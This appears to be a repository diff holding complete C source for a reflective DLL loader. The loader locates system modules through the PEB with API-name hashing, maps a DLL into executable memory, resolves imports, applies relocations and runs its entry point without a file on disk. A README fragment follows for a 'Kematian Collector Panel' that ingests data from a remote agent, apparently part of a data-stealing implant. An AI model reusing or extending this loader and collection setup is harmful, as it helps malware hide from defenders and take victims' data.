#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//
+516
View File
@@ -0,0 +1,516 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
// Store the parameter passed to ReflectiveLoader so DllMain can access it
LPVOID g_lpReflectiveParameter = NULL;
//===============================================================================================//
#ifdef _MSC_VER
#pragma intrinsic(_ReturnAddress)
#define RDI_NOINLINE __declspec(noinline)
#else
#define RDI_NOINLINE __attribute__((noinline))
#endif
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
// available (and no inline asm available under x64).
RDI_NOINLINE ULONG_PTR caller(VOID)
{
#ifdef _MSC_VER
return (ULONG_PTR)_ReturnAddress();
#elif defined(__GNUC__) || defined(__clang__)
// For MinGW/Clang, use GCC builtins and extract helper for target-specific safety.
return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0));
#else
return 0;
#endif
}
//===============================================================================================//
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA = NULL;
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
USHORT usCounter;
// the initial location of this image in memory
ULONG_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
ULONG_PTR uiBaseAddress;
// variables for processing the kernels export table
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
ULONG_PTR uiHeaderValue;
ULONG_PTR uiValueA;
ULONG_PTR uiValueB;
ULONG_PTR uiValueC;
ULONG_PTR uiValueD;
ULONG_PTR uiValueE;
// STEP 0: calculate our images current base address
// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while (TRUE)
{
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
break;
}
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef WIN_X64
uiBaseAddress = __readgsqword(0x60);
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword(0x30);
#else WIN_ARM
uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
#endif
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while (uiValueA)
{
// get pointer to current modules name (unicode string)
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror((DWORD)uiValueC);
// normalize to uppercase if the madule name is in lowercase
if (*((BYTE*)uiValueB) >= 'a')
uiValueC += *((BYTE*)uiValueB) - 0x20;
else
uiValueC += *((BYTE*)uiValueB);
uiValueB++;
} while (--usCounter);
// compare the hash with that of kernel32.dll
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of name pointers
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
usCounter = 3;
// loop while we still have imports to find
while (usCounter > 0)
{
// compute the hash values for this function name
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
// if we have found a function we want we get its virtual address
if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
{
// get the VA for the array of addresses
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
// store this functions VA
if (dwHashValue == LOADLIBRARYA_HASH)
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == GETPROCADDRESS_HASH)
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == VIRTUALALLOC_HASH)
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
else if ((DWORD)uiValueC == NTDLLDLL_HASH)
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of name pointers
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
usCounter = 1;
// loop while we still have imports to find
while (usCounter > 0)
{
// compute the hash values for this function name
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
// if we have found a function we want we get its virtual address
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
{
// get the VA for the array of addresses
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
// store this functions VA
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// we stop searching when we have found everything we need.
if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
break;
// get the next entry
uiValueA = DEREF(uiValueA);
}
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while (uiValueA--)
*(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while (uiValueE--)
{
// uiValueB is the VA for this section
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
// uiValueC if the VA for this sections data
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while (uiValueD--)
*(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
// get the VA of the next section
uiValueA += sizeof(IMAGE_SECTION_HEADER);
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
// itterate through all imports
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
{
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
// uiValueD = VA of the OriginalFirstThunk
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
// itterate through all imported functions, importing by ordinal if no name present
while (DEREF(uiValueA))
{
// sanity check uiValueD as some compilers only import by FirstThunk
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of addresses
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
// patch in the address for this imported function
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
}
else
{
// get the VA of this functions import by name struct
uiValueB = (uiBaseAddress + DEREF(uiValueA));
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
}
// get the next imported function
uiValueA += sizeof(ULONG_PTR);
if (uiValueD)
uiValueD += sizeof(ULONG_PTR);
}
// get the next import
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
// check if their are any relocations present
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
// and we itterate through all entries...
while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
{
// uiValueA = the VA for this relocation block
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
// uiValueB = number of entries in this relocation block
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while (uiValueB--)
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
*(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
{
register DWORD dwInstruction;
register DWORD dwAddress;
register WORD wImm;
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
// flip the words to get the instruction as expected
dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
// sanity chack we are processing a MOV instruction...
if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
{
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
wImm = (WORD)(dwInstruction & 0x000000FF);
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
// apply the relocation to the target address
dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
// now create a new instruction with the same opcode and register param.
dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
// patch in the relocated address...
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
// now flip the instructions words and patch back into the code...
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
}
}
#endif
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
*(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
// get the next entry in the current relocation block
uiValueD += sizeof(IMAGE_RELOC);
}
// get the next entry in the relocation directory
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
// STEP 6: call our images entry point
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
// call our respective entry point, fudging our hInstance value
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
// Store the parameter globally so DllMain can access it
g_lpReflectiveParameter = lpParameter;
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
#else
// if we are injecting an DLL via a stub we call DllMain with no parameter
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
#endif
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
return uiValueA;
}
//===============================================================================================//
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
*(HMODULE*)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
#endif
//===============================================================================================//
+215
View File
@@ -0,0 +1,215 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <windows.h>
#ifdef _MSC_VER
#include <intrin.h>
#else
// MinGW/GCC: _rotr lives in <stdlib.h>, __readgsqword in <intrin.h>
#include <stdlib.h>
#include <intrin.h>
#endif
#include "ReflectiveDLLInjection.h"
typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
#define KERNEL32DLL_HASH 0x6A4ABC5B
#define NTDLLDLL_HASH 0x3CFA685D
#define LOADLIBRARYA_HASH 0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH 0x91AFCA54
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
#define IMAGE_REL_BASED_ARM_MOV32A 5
#define IMAGE_REL_BASED_ARM_MOV32T 7
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
#define ARM_MOVW 0xF2400000
#define ARM_MOVT 0xF2C00000
#define HASH_KEY 13
//===============================================================================================//
#ifdef _MSC_VER
#pragma intrinsic( _rotr )
#define RDI_INLINE __forceinline
#else
#define RDI_INLINE static inline __attribute__((always_inline))
#endif
RDI_INLINE DWORD ror(DWORD d)
{
return _rotr(d, HASH_KEY);
}
RDI_INLINE DWORD hash(char* c)
{
register DWORD h = 0;
do
{
h = ror(h);
h += *c;
} while (*++c);
return h;
}
//===============================================================================================//
typedef struct _UNICODE_STR
{
USHORT Length;
USHORT MaximumLength;
PWSTR pBuffer;
} UNICODE_STR, * PUNICODE_STR;
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
//__declspec( align(8) )
typedef struct _LDR_DATA_TABLE_ENTRY
{
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STR FullDllName;
UNICODE_STR BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
{
DWORD dwLength;
DWORD dwInitialized;
LPVOID lpSsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
LPVOID lpEntryInProgress;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
{
struct _PEB_FREE_BLOCK* pNext;
DWORD dwSize;
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset : 12;
WORD type : 4;
} IMAGE_RELOC, * PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//
+159
View File
@@ -0,0 +1,159 @@
# Kematian Collector Panel
Admin web dashboard + E2EE JSON ingest for the kematian-standalone agent.
## Setup
```bash
cd panel
pip install -r requirements.txt
python app.py
```
Open `http://localhost:5000/setup` to create the admin account, then log in.
Configure via env before running:
| Env var | Default | Purpose |
|---------------------|------------------------------------------|----------------------------------|
